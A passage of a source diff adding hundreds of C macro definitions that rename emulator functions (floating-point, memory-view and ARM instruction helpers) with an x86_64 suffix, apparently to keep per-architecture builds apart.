extractFloat32Frac extractFloat32Frac_x86_64 +#define extractFloat32Sign extractFloat32Sign_x86_64 +#define extractFloat64Exp extractFloat64Exp_x86_64 +#define extractFloat64Frac extractFloat64Frac_x86_64 +#define extractFloat64Sign extractFloat64Sign_x86_64 +#define extractFloatx80Exp extractFloatx80Exp_x86_64 +#define extractFloatx80Frac extractFloatx80Frac_x86_64 +#define extractFloatx80Sign extractFloatx80Sign_x86_64 +#define fcse_write fcse_write_x86_64 +#define find_better_copy find_better_copy_x86_64 +#define find_default_machine find_default_machine_x86_64 +#define find_desc_by_name find_desc_by_name_x86_64 +#define find_first_bit find_first_bit_x86_64 +#define find_paging_enabled_cpu find_paging_enabled_cpu_x86_64 +#define find_ram_block find_ram_block_x86_64 +#define find_ram_offset find_ram_offset_x86_64 +#define find_string find_string_x86_64 +#define find_type find_type_x86_64 +#define _fini _fini_x86_64 +#define flatrange_equal flatrange_equal_x86_64 +#define flatview_destroy flatview_destroy_x86_64 +#define flatview_init flatview_init_x86_64 +#define flatview_insert flatview_insert_x86_64 +#define flatview_lookup flatview_lookup_x86_64 +#define flatview_ref flatview_ref_x86_64 +#define flatview_simplify flatview_simplify_x86_64 +#define flatview_unref flatview_unref_x86_64 +#define float128_add float128_add_x86_64 +#define float128_compare float128_compare_x86_64 +#define float128_compare_internal float128_compare_internal_x86_64 +#define float128_compare_quiet float128_compare_quiet_x86_64 +#define float128_default_nan float128_default_nan_x86_64 +#define float128_div float128_div_x86_64 +#define float128_eq float128_eq_x86_64 +#define float128_eq_quiet float128_eq_quiet_x86_64 +#define float128_is_quiet_nan float128_is_quiet_nan_x86_64 +#define float128_is_signaling_nan float128_is_signaling_nan_x86_64 +#define float128_le float128_le_x86_64 +#define float128_le_quiet float128_le_quiet_x86_64 +#define float128_lt float128_lt_x86_64 +#define float128_lt_quiet float128_lt_quiet_x86_64 +#define float128_maybe_silence_nan float128_maybe_silence_nan_x86_64 +#define float128_mul float128_mul_x86_64 +#define float128_rem float128_rem_x86_64 +#define float128_round_to_int float128_round_to_int_x86_64 +#define float128_scalbn float128_scalbn_x86_64 +#define float128_sqrt float128_sqrt_x86_64 +#define float128_sub float128_sub_x86_64 +#define float128ToCommonNaN float128ToCommonNaN_x86_64 +#define float128_to_float32 float128_to_float32_x86_64 +#define float128_to_float64 float128_to_float64_x86_64 +#define float128_to_floatx80 float128_to_floatx80_x86_64 +#define float128_to_int32 float128_to_int32_x86_64 +#define float128_to_int32_round_to_zero float128_to_int32_round_to_zero_x86_64 +#define float128_to_int64 float128_to_int64_x86_64 +#define float128_to_int64_round_to_zero float128_to_int64_round_to_zero_x86_64 +#define float128_unordered float128_unordered_x86_64 +#define float128_unordered_quiet float128_unordered_quiet_x86_64 +#define float16_default_nan float16_default_nan_x86_64 +#define float16_is_quiet_nan float16_is_quiet_nan_x86_64 +#define float16_is_signaling_nan float16_is_signaling_nan_x86_64 +#define float16_maybe_silence_nan float16_maybe_silence_nan_x86_64 +#define float16ToCommonNaN float16ToCommonNaN_x86_64 +#define float16_to_float32 float16_to_float32_x86_64 +#define float16_to_float64 float16_to_float64_x86_64 +#define float32_abs float32_abs_x86_64 +#define float32_add float32_add_x86_64 +#define float32_chs float32_chs_x86_64 +#define float32_compare float32_compare_x86_64 +#define float32_compare_internal float32_compare_internal_x86_64 +#define float32_compare_quiet float32_compare_quiet_x86_64 +#define float32_default_nan float32_default_nan_x86_64 +#define float32_div float32_div_x86_64 +#define float32_eq float32_eq_x86_64 +#define float32_eq_quiet float32_eq_quiet_x86_64 +#define float32_exp2 float32_exp2_x86_64 +#define float32_exp2_coefficients float32_exp2_coefficients_x86_64 +#define float32_is_any_nan float32_is_any_nan_x86_64 +#define float32_is_infinity float32_is_infinity_x86_64 +#define float32_is_neg float32_is_neg_x86_64 +#define float32_is_quiet_nan float32_is_quiet_nan_x86_64 +#define float32_is_signaling_nan float32_is_signaling_nan_x86_64 +#define float32_is_zero float32_is_zero_x86_64 +#define float32_is_zero_or_denormal float32_is_zero_or_denormal_x86_64 +#define float32_le float32_le_x86_64 +#define float32_le_quiet float32_le_quiet_x86_64 +#define float32_log2 float32_log2_x86_64 +#define float32_lt float32_lt_x86_64 +#define float32_lt_quiet float32_lt_quiet_x86_64 +#define float32_max float32_max_x86_64 +#define float32_maxnum float32_maxnum_x86_64 +#define float32_maxnummag float32_maxnummag_x86_64 +#define float32_maybe_silence_nan float32_maybe_silence_nan_x86_64 +#define float32_min float32_min_x86_64 +#define float32_minmax float32_minmax_x86_64 +#define float32_minnum float32_minnum_x86_64 +#define float32_minnummag float32_minnummag_x86_64 +#define float32_mul float32_mul_x86_64 +#define float32_muladd float32_muladd_x86_64 +#define float32_rem float32_rem_x86_64 +#define float32_round_to_int float32_round_to_int_x86_64 +#define float32_scalbn float32_scalbn_x86_64 +#define float32_set_sign float32_set_sign_x86_64 +#define float32_sqrt float32_sqrt_x86_64 +#define float32_squash_input_denormal float32_squash_input_denormal_x86_64 +#define float32_sub float32_sub_x86_64 +#define float32ToCommonNaN float32ToCommonNaN_x86_64 +#define float32_to_float128 float32_to_float128_x86_64 +#define float32_to_float16 float32_to_float16_x86_64 +#define float32_to_float64 float32_to_float64_x86_64 +#define float32_to_floatx80 float32_to_floatx80_x86_64 +#define float32_to_int16 float32_to_int16_x86_64 +#define float32_to_int16_round_to_zero float32_to_int16_round_to_zero_x86_64 +#define float32_to_int32 float32_to_int32_x86_64 +#define float32_to_int32_round_to_zero float32_to_int32_round_to_zero_x86_64 +#define float32_to_int64 float32_to_int64_x86_64 +#define float32_to_int64_round_to_zero float32_to_int64_round_to_zero_x86_64 +#define float32_to_uint16 float32_to_uint16_x86_64 +#define float32_to_uint16_round_to_zero float32_to_uint16_round_to_zero_x86_64 +#define float32_to_uint32 float32_to_uint32_x86_64 +#define float32_to_uint32_round_to_zero float32_to_uint32_round_to_zero_x86_64 +#define float32_to_uint64 float32_to_uint64_x86_64 +#define float32_to_uint64_round_to_zero float32_to_uint64_round_to_zero_x86_64 +#define float32_unordered float32_unordered_x86_64 +#define float32_unordered_quiet float32_unordered_quiet_x86_64 +#define float64_abs float64_abs_x86_64 +#define float64_add float64_add_x86_64 +#define float64_chs float64_chs_x86_64 +#define float64_compare float64_compare_x86_64 +#define float64_compare_internal float64_compare_internal_x86_64 +#define float64_compare_quiet float64_compare_quiet_x86_64 +#define float64_default_nan float64_default_nan_x86_64 +#define float64_div float64_div_x86_64 +#define float64_eq float64_eq_x86_64 +#define float64_eq_quiet float64_eq_quiet_x86_64 +#define float64_is_any_nan float64_is_any_nan_x86_64 +#define float64_is_infinity float64_is_infinity_x86_64 +#define float64_is_neg float64_is_neg_x86_64 +#define float64_is_quiet_nan float64_is_quiet_nan_x86_64 +#define float64_is_signaling_nan float64_is_signaling_nan_x86_64 +#define float64_is_zero float64_is_zero_x86_64 +#define float64_le float64_le_x86_64 +#define float64_le_quiet float64_le_quiet_x86_64 +#define float64_log2 float64_log2_x86_64 +#define float64_lt float64_lt_x86_64 +#define float64_lt_quiet float64_lt_quiet_x86_64 +#define float64_max float64_max_x86_64 +#define float64_maxnum float64_maxnum_x86_64 +#define float64_maxnummag float64_maxnummag_x86_64 +#define float64_maybe_silence_nan float64_maybe_silence_nan_x86_64 +#define float64_min float64_min_x86_64 +#define float64_minmax float64_minmax_x86_64 +#define float64_minnum float64_minnum_x86_64 +#define float64_minnummag float64_minnummag_x86_64 +#define float64_mul float64_mul_x86_64 +#define float64_muladd float64_muladd_x86_64 +#define float64_rem float64_rem_x86_64 +#define float64_round_to_int float64_round_to_int_x86_64 +#define float64_scalbn float64_scalbn_x86_64 +#define float64_set_sign float64_set_sign_x86_64 +#define float64_sqrt float64_sqrt_x86_64 +#define float64_squash_input_denormal float64_squash_input_denormal_x86_64 +#define float64_sub float64_sub_x86_64 +#define float64ToCommonNaN float64ToCommonNaN_x86_64 +#define float64_to_float128 float64_to_float128_x86_64 +#define float64_to_float16 float64_to_float16_x86_64 +#define float64_to_float32 float64_to_float32_x86_64 +#define float64_to_floatx80 float64_to_floatx80_x86_64 +#define float64_to_int16 float64_to_int16_x86_64 +#define float64_to_int16_round_to_zero float64_to_int16_round_to_zero_x86_64 +#define float64_to_int32 float64_to_int32_x86_64 +#define float64_to_int32_round_to_zero float64_to_int32_round_to_zero_x86_64 +#define float64_to_int64 float64_to_int64_x86_64 +#define float64_to_int64_round_to_zero float64_to_int64_round_to_zero_x86_64 +#define float64_to_uint16 float64_to_uint16_x86_64 +#define float64_to_uint16_round_to_zero float64_to_uint16_round_to_zero_x86_64 +#define float64_to_uint32 float64_to_uint32_x86_64 +#define float64_to_uint32_round_to_zero float64_to_uint32_round_to_zero_x86_64 +#define float64_to_uint64 float64_to_uint64_x86_64 +#define float64_to_uint64_round_to_zero float64_to_uint64_round_to_zero_x86_64 +#define float64_trunc_to_int float64_trunc_to_int_x86_64 +#define float64_unordered float64_unordered_x86_64 +#define float64_unordered_quiet float64_unordered_quiet_x86_64 +#define float_raise float_raise_x86_64 +#define floatx80_add floatx80_add_x86_64 +#define floatx80_compare floatx80_compare_x86_64 +#define floatx80_compare_internal floatx80_compare_internal_x86_64 +#define floatx80_compare_quiet floatx80_compare_quiet_x86_64 +#define floatx80_default_nan floatx80_default_nan_x86_64 +#define floatx80_div floatx80_div_x86_64 +#define floatx80_eq floatx80_eq_x86_64 +#define floatx80_eq_quiet floatx80_eq_quiet_x86_64 +#define floatx80_is_quiet_nan floatx80_is_quiet_nan_x86_64 +#define floatx80_is_signaling_nan floatx80_is_signaling_nan_x86_64 +#define floatx80_le floatx80_le_x86_64 +#define floatx80_le_quiet floatx80_le_quiet_x86_64 +#define floatx80_lt floatx80_lt_x86_64 +#define floatx80_lt_quiet floatx80_lt_quiet_x86_64 +#define floatx80_maybe_silence_nan floatx80_maybe_silence_nan_x86_64 +#define floatx80_mul floatx80_mul_x86_64 +#define floatx80_rem floatx80_rem_x86_64 +#define floatx80_round_to_int floatx80_round_to_int_x86_64 +#define floatx80_scalbn floatx80_scalbn_x86_64 +#define floatx80_sqrt floatx80_sqrt_x86_64 +#define floatx80_sub floatx80_sub_x86_64 +#define floatx80ToCommonNaN floatx80ToCommonNaN_x86_64 +#define floatx80_to_float128 floatx80_to_float128_x86_64 +#define floatx80_to_float32 floatx80_to_float32_x86_64 +#define floatx80_to_float64 floatx80_to_float64_x86_64 +#define floatx80_to_int32 floatx80_to_int32_x86_64 +#define floatx80_to_int32_round_to_zero floatx80_to_int32_round_to_zero_x86_64 +#define floatx80_to_int64 floatx80_to_int64_x86_64 +#define floatx80_to_int64_round_to_zero floatx80_to_int64_round_to_zero_x86_64 +#define floatx80_unordered floatx80_unordered_x86_64 +#define floatx80_unordered_quiet floatx80_unordered_quiet_x86_64 +#define flush_icache_range flush_icache_range_x86_64 +#define format_string format_string_x86_64 +#define fp_decode_rm fp_decode_rm_x86_64 +#define frame_dummy frame_dummy_x86_64 +#define free_range free_range_x86_64 +#define fstat64 fstat64_x86_64 +#define futex_wait futex_wait_x86_64 +#define futex_wake futex_wake_x86_64 +#define gen_aa32_ld16s gen_aa32_ld16s_x86_64 +#define gen_aa32_ld16u gen_aa32_ld16u_x86_64 +#define gen_aa32_ld32u gen_aa32_ld32u_x86_64 +#define gen_aa32_ld64 gen_aa32_ld64_x86_64 +#define gen_aa32_ld8s gen_aa32_ld8s_x86_64 +#define gen_aa32_ld8u gen_aa32_ld8u_x86_64 +#define gen_aa32_st16 gen_aa32_st16_x86_64 +#define gen_aa32_st32 gen_aa32_st32_x86_64 +#define gen_aa32_st64 gen_aa32_st64_x86_64 +#define gen_aa32_st8 gen_aa32_st8_x86_64 +#define gen_adc gen_adc_x86_64 +#define gen_adc_CC gen_adc_CC_x86_64 +#define gen_add16 gen_add16_x86_64 +#define gen_add_carry gen_add_carry_x86_64 +#define gen_add_CC gen_add_CC_x86_64 +#define gen_add_datah_offset gen_add_datah_offset_x86_64 +#define gen_add_data_offset gen_add_data_offset_x86_64 +#define gen_addq gen_addq_x86_64 +#define gen_addq_lo gen_addq_lo_x86_64 +#define gen_addq_msw gen_addq_msw_x86_64 +#define gen_arm_parallel_addsub gen_arm_parallel_addsub_x86_64 +#define gen_arm_shift_im gen_arm_shift_im_x86_64 +#define gen_arm_shift_reg gen_arm_shift_reg_x86_64 +#define gen_bx gen_bx_x86_64 +#define gen_bx_im gen_bx_im_x86_64 +#define gen_clrex gen_clrex_x86_64 +#define generate_memory_topology generate_memory_topology_x86_64 +#define generic_timer_cp_reginfo generic_timer_cp_reginfo_x86_64 +#define gen_exception gen_exception_x86_64 +#define gen_exception_insn gen_exception_insn_x86_64 +#define gen_exception_internal gen_exception_internal_x86_64 +#define gen_exception_internal_insn gen_exception_internal_insn_x86_64 +#define gen_exception_return gen_exception_return_x86_64 +#define gen_goto_tb gen_goto_tb_x86_64 +#define gen_helper_access_check_cp_reg gen_helper_access_check_cp_reg_x86_64 +#define gen_helper_add_saturate gen_helper_add_saturate_x86_64 +#define gen_helper_add_setq gen_helper_add_setq_x86_64 +#define gen_helper_clear_pstate_ss gen_helper_clear_pstate_ss_x86_64 +#define gen_helper_clz32 gen_helper_clz32_x86_64 +#define gen_helper_clz64 gen_helper_clz64_x86_64 +#define gen_helper_clz_arm gen_helper_clz_arm_x86_64 +#define gen_helper_cpsr_read gen_helper_cpsr_read_x86_64 +#define gen_helper_cpsr_write gen_helper_cpsr_write_x86_64 +#define gen_helper_crc32_arm gen_helper_crc32_arm_x86_64 +#define gen_helper_crc32c gen_helper_crc32c_x86_64 +#define gen_helper_crypto_aese gen_helper_crypto_aese_x86_64 +#define gen_helper_crypto_aesmc gen_helper_crypto_aesmc_x86_64 +#define gen_helper_crypto_sha1_3reg gen_helper_crypto_sha1_3reg_x86_64 +#define gen_helper_crypto_sha1h gen_helper_crypto_sha1h_x86_64 +#define gen_helper_crypto_sha1su1 gen_helper_crypto_sha1su1_x86_64 +#define gen_helper_crypto_sha256h gen_helper_crypto_sha256h_x86_64 +#define gen_helper_crypto_sha256h2 gen_helper_crypto_sha256h2_x86_64 +#define gen_helper_crypto_sha256su0 gen_helper_crypto_sha256su0_x86_64 +#define gen_helper_crypto_sha256su1 gen_helper_crypto_sha256su1_x86_64 +#define gen_helper_double_saturate gen_helper_double_saturate_x86_64 +#define gen_helper_exception_internal gen_helper_exception_internal_x86_64 +#define gen_helper_exception_with_syndrome gen_helper_exception_with_syndrome_x86_64 +#define gen_helper_get_cp_reg gen_helper_get_cp_reg_x86_64 +#define gen_helper_get_cp_reg64 gen_helper_get_cp_reg64_x86_64 +#define gen_helper_get_r13_banked gen_helper_get_r13_banked_x86_64 +#define gen_helper_get_user_reg gen_helper_get_user_reg_x86_64 +#define gen_helper_iwmmxt_addcb gen_helper_iwmmxt_addcb_x86_64 +#define gen_helper_iwmmxt_addcl gen_helper_iwmmxt_addcl_x86_64 +#define gen_helper_iwmmxt_addcw gen_helper_iwmmxt_addcw_x86_64 +#define gen_helper_iwmmxt_addnb gen_helper_iwmmxt_addnb_x86_64 +#define gen_helper_iwmmxt_addnl gen_helper_iwmmxt_addnl_x86_64 +#define gen_helper_iwmmxt_addnw gen_helper_iwmmxt_addnw_x86_64 +#define gen_helper_iwmmxt_addsb gen_helper_iwmmxt_addsb_x86_64 +#define gen_helper_iwmmxt_addsl gen_helper_iwmmxt_addsl_x86_64 +#define gen_helper_iwmmxt_addsw gen_helper_iwmmxt_addsw_x86_64 +#define gen_helper_iwmmxt_addub gen_helper_iwmmxt_addub_x86_64 +#define gen_helper_iwmmxt_addul gen_helper_iwmmxt_addul_x86_64 +#define gen_helper_iwmmxt_adduw gen_helper_iwmmxt_adduw_x86_64 +#define gen_helper_iwmmxt_align gen_helper_iwmmxt_align_x86_64 +#define gen_helper_iwmmxt_avgb0 gen_helper_iwmmxt_avgb0_x86_64 +#define gen_helper_iwmmxt_avgb1 gen_helper_iwmmxt_avgb1_x86_64 +#define gen_helper_iwmmxt_avgw0 gen_helper_iwmmxt_avgw0_x86_64 +#define gen_helper_iwmmxt_avgw1 gen_helper_iwmmxt_avgw1_x86_64 +#define gen_helper_iwmmxt_bcstb gen_helper_iwmmxt_bcstb_x86_64 +#define gen_helper_iwmmxt_bcstl gen_helper_iwmmxt_bcstl_x86_64 +#define gen_helper_iwmmxt_bcstw gen_helper_iwmmxt_bcstw_x86_64 +#define gen_helper_iwmmxt_cmpeqb gen_helper_iwmmxt_cmpeqb_x86_64 +#define gen_helper_iwmmxt_cmpeql gen_helper_iwmmxt_cmpeql_x86_64 +#define gen_helper_iwmmxt_cmpeqw gen_helper_iwmmxt_cmpeqw_x86_64 +#define gen_helper_iwmmxt_cmpgtsb gen_helper_iwmmxt_cmpgtsb_x86_64 +#define gen_helper_iwmmxt_cmpgtsl gen_helper_iwmmxt_cmpgtsl_x86_64 +#define gen_helper_iwmmxt_cmpgtsw gen_helper_iwmmxt_cmpgtsw_x86_64 +#define gen_helper_iwmmxt_cmpgtub gen_helper_iwmmxt_cmpgtub_x86_64 +#define gen_helper_iwmmxt_cmpgtul gen_helper_iwmmxt_cmpgtul_x86_64 +#define gen_helper_iwmmxt_cmpgtuw gen_helper_iwmmxt_cmpgtuw_x86_64 +#define gen_helper_iwmmxt_insr gen_helper_iwmmxt_insr_x86_64 +#define gen_helper_iwmmxt_macsw gen_helper_iwmmxt_macsw_x86_64 +#define gen_helper_iwmmxt_macuw gen_helper_iwmmxt_macuw_x86_64 +#define gen_helper_iwmmxt_maddsq gen_helper_iwmmxt_maddsq_x86_64 +#define gen_helper_iwmmxt_madduq gen_helper_iwmmxt_madduq_x86_64 +#define gen_helper_iwmmxt_maxsb gen_helper_iwmmxt_maxsb_x86_64 +#define gen_helper_iwmmxt_maxsl gen_helper_iwmmxt_maxsl_x86_64 +#define gen_helper_iwmmxt_maxsw gen_helper_iwmmxt_maxsw_x86_64 +#define gen_helper_iwmmxt_maxub gen_helper_iwmmxt_maxub_x86_64 +#define gen_helper_iwmmxt_maxul gen_helper_iwmmxt_maxul_x86_64 +#define gen_helper_iwmmxt_maxuw gen_helper_iwmmxt_maxuw_x86_64 +#define gen_helper_iwmmxt_minsb gen_helper_iwmmxt_minsb_x86_64 +#define gen_helper_iwmmxt_minsl gen_helper_iwmmxt_minsl_x86_64 +#define gen_helper_iwmmxt_minsw gen_helper_iwmmxt_minsw_x86_64 +#define gen_helper_iwmmxt_minub gen_helper_iwmmxt_minub_x86_64 +#define gen_helper_iwmmxt_minul gen_helper_iwmmxt_minul_x86_64 +#define gen_helper_iwmmxt_minuw gen_helper_iwmmxt_minuw_x86_64 +#define gen_helper_iwmmxt_msbb gen_helper_iwmmxt_msbb_x86_64 +#define gen_helper_iwmmxt_msbl gen_helper_iwmmxt_msbl_x86_64 +#define gen_helper_iwmmxt_msbw gen_helper_iwmmxt_msbw_x86_64 +#define gen_helper_iwmmxt_muladdsl gen_helper_iwmmxt_muladdsl_x86_64 +#define gen_helper_iwmmxt_muladdsw gen_helper_iwmmxt_muladdsw_x86_64 +#define gen_helper_iwmmxt_muladdswl gen_helper_iwmmxt_muladdswl_x86_64 +#define gen_helper_iwmmxt_mulshw gen_helper_iwmmxt_mulshw_x86_64 +#define gen_helper_iwmmxt_mulslw gen_helper_iwmmxt_mulslw_x86_64 +#define gen_helper_iwmmxt_muluhw gen_helper_iwmmxt_muluhw_x86_64 +#define gen_helper_iwmmxt_mululw gen_helper_iwmmxt_mululw_x86_64 +#define gen_helper_iwmmxt_packsl gen_helper_iwmmxt_packsl_x86_64 +#define gen_helper_iwmmxt_packsq gen_helper_iwmmxt_packsq_x86_64 +#define gen_helper_iwmmxt_packsw gen_helper_iwmmxt_packsw_x86_64 +#define gen_helper_iwmmxt_packul gen_helper_iwmmxt_packul_x86_64 +#define gen_helper_iwmmxt_packuq gen_helper_iwmmxt_packuq_x86_64 +#define gen_helper_iwmmxt_packuw gen_helper_iwmmxt_packuw_x86_64 +#define gen_helper_iwmmxt_rorl gen_helper_iwmmxt_rorl_x86_64 +#define gen_helper_iwmmxt_rorq gen_helper_iwmmxt_rorq_x86_64 +#define gen_helper_iwmmxt_rorw gen_helper_iwmmxt_rorw_x86_64 +#define gen_helper_iwmmxt_sadb gen_helper_iwmmxt_sadb_x86_64 +#define gen_helper_iwmmxt_sadw gen_helper_iwmmxt_sadw_x86_64 +#define gen_helper_iwmmxt_setpsr_nz gen_helper_iwmmxt_setpsr_nz_x86_64 +#define gen_helper_iwmmxt_shufh gen_helper_iwmmxt_shufh_x86_64 +#define gen_helper_iwmmxt_slll gen_helper_iwmmxt_slll_x86_64 +#define gen_helper_iwmmxt_sllq gen_helper_iwmmxt_sllq_x86_64 +#define gen_helper_iwmmxt_sllw gen_helper_iwmmxt_sllw_x86_64 +#define gen_helper_iwmmxt_sral gen_helper_iwmmxt_sral_x86_64 +#define gen_helper_iwmmxt_sraq gen_helper_iwmmxt_sraq_x86_64 +#define gen_helper_iwmmxt_sraw gen_helper_iwmmxt_sraw_x86_64 +#define gen_helper_iwmmxt_srll gen_helper_iwmmxt_srll_x86_64 +#define gen_helper_iwmmxt_srlq gen_helper_iwmmxt_srlq_x86_64 +#define gen_helper_iwmmxt_srlw gen_helper_iwmmxt_srlw_x86_64 +#define gen_helper_iwmmxt_subnb gen_helper_iwmmxt_subnb_x86_64 +#define gen_helper_iwmmxt_subnl gen_helper_iwmmxt_subnl_x86_64 +#define gen_helper_iwmmxt_subnw gen_helper_iwmmxt_subnw_x86_64 +#define gen_helper_iwmmxt_subsb gen_helper_iwmmxt_subsb_x86_64 +#define gen_helper_iwmmxt_subsl gen_helper_iwmmxt_subsl_x86_64 +#define gen_helper_iwmmxt_subsw gen_helper_iwmmxt_subsw_x86_64 +#define gen_helper_iwmmxt_subub gen_helper_iwmmxt_subub_x86_64 +#define gen_helper_iwmmxt_subul gen_helper_iwmmxt_subul_x86_64 +#define gen_helper_iwmmxt_subuw gen_helper_iwmmxt_subuw_x86_64 +#define gen_helper_iwmmxt_unpackhb gen_helper_iwmmxt_unpackhb_x86_64 +#define gen_helper_iwmmxt_unpackhl gen_helper_iwmmxt_unpackhl_x86_64 +#define gen_helper_iwmmxt_unpackhsb gen_helper_iwmmxt_unpackhsb_x86_64 +#define gen_helper_iwmmxt_unpackhsl gen_helper_iwmmxt_unpackhsl_x86_64 +#define gen_helper_iwmmxt_unpackhsw gen_helper_iwmmxt_unpackhsw_x86_64 +#define gen_helper_iwmmxt_unpackhub gen_helper_iwmmxt_unpackhub_x86_64 +#define gen_helper_iwmmxt_unpackhul gen_helper_iwmmxt_unpackhul_x86_64 +#define gen_helper_iwmmxt_unpackhuw gen_helper_iwmmxt_unpackhuw_x86_64 +#define gen_helper_iwmmxt_unpackhw gen_helper_iwmmxt_unpackhw_x86_64 +#define gen_helper_iwmmxt_unpacklb gen_helper_iwmmxt_unpacklb_x86_64 +#define gen_helper_iwmmxt_unpackll gen_helper_iwmmxt_unpackll_x86_64 +#define gen_helper_iwmmxt_unpacklsb gen_helper_iwmmxt_unpacklsb_x86_64 +#define gen_helper_iwmmxt_unpacklsl gen_helper_iwmmxt_unpacklsl_x86_64 +#define gen_helper_iwmmxt_unpacklsw gen_helper_iwmmxt_unpacklsw_x86_64 +#define gen_helper_iwmmxt_unpacklub gen_helper_iwmmxt_unpacklub_x86_64 +#define gen_helper_iwmmxt_unpacklul gen_helper_iwmmxt_unpacklul_x86_64 +#define gen_helper_iwmmxt_unpackluw gen_helper_iwmmxt_unpackluw_x86_64 +#define gen_helper_iwmmxt_unpacklw gen_helper_iwmmxt_unpacklw_x86_64 +#define gen_helper_neon_abd_f32 gen_helper_neon_abd_f32_x86_64 +#define gen_helper_neon_abdl_s16 gen_helper_neon_abdl_s16_x86_64 +#define gen_helper_neon_abdl_s32 gen_helper_neon_abdl_s32_x86_64 +#define gen_helper_neon_abdl_s64 gen_helper_neon_abdl_s64_x86_64 +#define gen_helper_neon_abdl_u16 gen_helper_neon_abdl_u16_x86_64 +#define gen_helper_neon_abdl_u32 gen_helper_neon_abdl_u32_x86_64 +#define gen_helper_neon_abdl_u64 gen_helper_neon_abdl_u64_x86_64 +#define gen_helper_neon_abd_s16 gen_helper_neon_abd_s16_x86_64 +#define gen_helper_neon_abd_s32 gen_helper_neon_abd_s32_x86_64 +#define gen_helper_neon_abd_s8 gen_helper_neon_abd_s8_x86_64 +#define gen_helper_neon_abd_u16 gen_helper_neon_abd_u16_x86_64 +#define gen_helper_neon_abd_u32 gen_helper_neon_abd_u32_x86_64 +#define gen_helper_neon_abd_u8 gen_helper_neon_abd_u8_x86_64 +#define gen_helper_neon_abs_s16 gen_helper_neon_abs_s16_x86_64 +#define gen_helper_neon_abs_s8 gen_helper_neon_abs_s8_x86_64 +#define gen_helper_neon_acge_f32 gen_helper_neon_acge_f32_x86_64 +#define gen_helper_neon_acgt_f32 gen_helper_neon_acgt_f32_x86_64 +#define gen_helper_neon_addl_saturate_s32 gen_helper_neon_addl_saturate_s32_x86_64 +#define gen_helper_neon_addl_saturate_s64 gen_helper_neon_addl_saturate_s64_x86_64 +#define gen_helper_neon_addl_u16 gen_helper_neon_addl_u16_x86_64 +#define gen_helper_neon_addl_u32 gen_helper_neon_addl_u32_x86_64 +#define gen_helper_neon_add_u16 gen_helper_neon_add_u16_x86_64 +#define gen_helper_neon_add_u8 gen_helper_neon_add_u8_x86_64 +#define gen_helper_neon_ceq_f32 gen_helper_neon_ceq_f32_x86_64 +#define gen_helper_neon_ceq_u16 gen_helper_neon_ceq_u16_x86_64 +#define gen_helper_neon_ceq_u32 gen_helper_neon_ceq_u32_x86_64 +#define gen_helper_neon_ceq_u8 gen_helper_neon_ceq_u8_x86_64 +#define gen_helper_neon_cge_f32 gen_helper_neon_cge_f32_x86_64 +#define gen_helper_neon_cge_s16 gen_helper_neon_cge_s16_x86_64 +#define gen_helper_neon_cge_s32 gen_helper_neon_cge_s32_x86_64 +#define gen_helper_neon_cge_s8 gen_helper_neon_cge_s8_x86_64 +#define gen_helper_neon_cge_u16 gen_helper_neon_cge_u16_x86_64 +#define gen_helper_neon_cge_u32 gen_helper_neon_cge_u32_x86_64 +#define gen_helper_neon_cge_u8 gen_helper_neon_cge_u8_x86_64 +#define gen_helper_neon_cgt_f32 gen_helper_neon_cgt_f32_x86_64 +#define gen_helper_neon_cgt_s16 gen_helper_neon_cgt_s16_x86_64 +#define gen_helper_neon_cgt_s32 gen_helper_neon_cgt_s32_x86_64 +#define gen_helper_neon_cgt_s8 gen_helper_neon_cgt_s8_x86_64 +#define gen_helper_neon_cgt_u16 gen_helper_neon_cgt_u16_x86_64 +#define gen_helper_neon_cgt_u32 gen_helper_neon_cgt_u32_x86_64 +#define gen_helper_neon_cgt_u8 gen_helper_neon_cgt_u8_x86_64 +#define gen_helper_neon_cls_s16 gen_helper_neon_cls_s16_x86_64 +#define gen_helper_neon_cls_s32 gen_helper_neon_cls_s32_x86_64 +#define gen_helper_neon_cls_s8 gen_helper_neon_cls_s8_x86_64 +#define gen_helper_neon_clz_u16 gen_helper_neon_clz_u16_x86_64 +#define gen_helper_neon_clz_u8 gen_helper_neon_clz_u8_x86_64 +#define gen_helper_neon_cnt_u8 gen_helper_neon_cnt_u8_x86_64 +#define gen_helper_neon_fcvt_f16_to_f32 gen_helper_neon_fcvt_f16_to_f32_x86_64 +#define gen_helper_neon_fcvt_f32_to_f16 gen_helper_neon_fcvt_f32_to_f16_x86_64 +#define gen_helper_neon_hadd_s16 gen_helper_neon_hadd_s16_x86_64 +#define gen_helper_neon_hadd_s32 gen_helper_neon_hadd_s32_x86_64 +#define gen_helper_neon_hadd_s8 gen_helper_neon_hadd_s8_x86_64 +#define gen_helper_neon_hadd_u16 gen_helper_neon_hadd_u16_x86_64 +#define gen_helper_neon_hadd_u32 gen_helper_neon_hadd_u32_x86_64 +#define gen_helper_neon_hadd_u8 gen_helper_neon_hadd_u8_x86_64 +#define gen_helper_neon_hsub_s16 gen_helper_neon_hsub_s16_x86_64 +#define gen_helper_neon_hsub_s32 gen_helper_neon_hsub_s32_x86_64 +#define gen_helper_neon_hsub_s8 gen_helper_neon_hsub_s8_x86_64 +#define gen_helper_neon_hsub_u16 gen_helper_neon_hsub_u16_x86_64 +#define gen_helper_neon_hsub_u32 gen_helper_neon_hsub_u32_x86_64 +#define gen_helper_neon_hsub_u8 gen_helper_neon_hsub_u8_x86_64 +#define gen_helper_neon_max_s16 gen_helper_neon_max_s16_x86_64 +#define gen_helper_neon_max_s32 gen_helper_neon_max_s32_x86_64 +#define gen_helper_neon_max_s8 gen_helper_neon_max_s8_x86_64 +#define gen_helper_neon_max_u16 gen_helper_neon_max_u16_x86_64 +#define gen_helper_neon_max_u32 gen_helper_neon_max_u32_x86_64 +#define gen_helper_neon_max_u8 gen_helper_neon_max_u8_x86_64 +#define gen_helper_neon_min_s16 gen_helper_neon_min_s16_x86_64 +#define gen_helper_neon_min_s32 gen_helper_neon_min_s32_x86_64 +#define gen_helper_neon_min_s8 gen_helper_neon_min_s8_x86_64 +#define gen_helper_neon_min_u16 gen_helper_neon_min_u16_x86_64 +#define gen_helper_neon_min_u32 gen_helper_neon_min_u32_x86_64 +#define gen_helper_neon_min_u8 gen_helper_neon_min_u8_x86_64 +#define gen_helper_neon_mull_p8 gen_helper_neon_mull_p8_x86_64 +#define gen_helper_neon_mull_s16 gen_helper_neon_mull_s16_x86_64 +#define gen_helper_neon_mull_s8 gen_helper_neon_mull_s8_x86_64 +#define gen_helper_neon_mull_u16 gen_helper_neon_mull_u16_x86_64 +#define gen_helper_neon_mull_u8 gen_helper_neon_mull_u8_x86_64 +#define gen_helper_neon_mul_p8 gen_helper_neon_mul_p8_x86_64 +#define 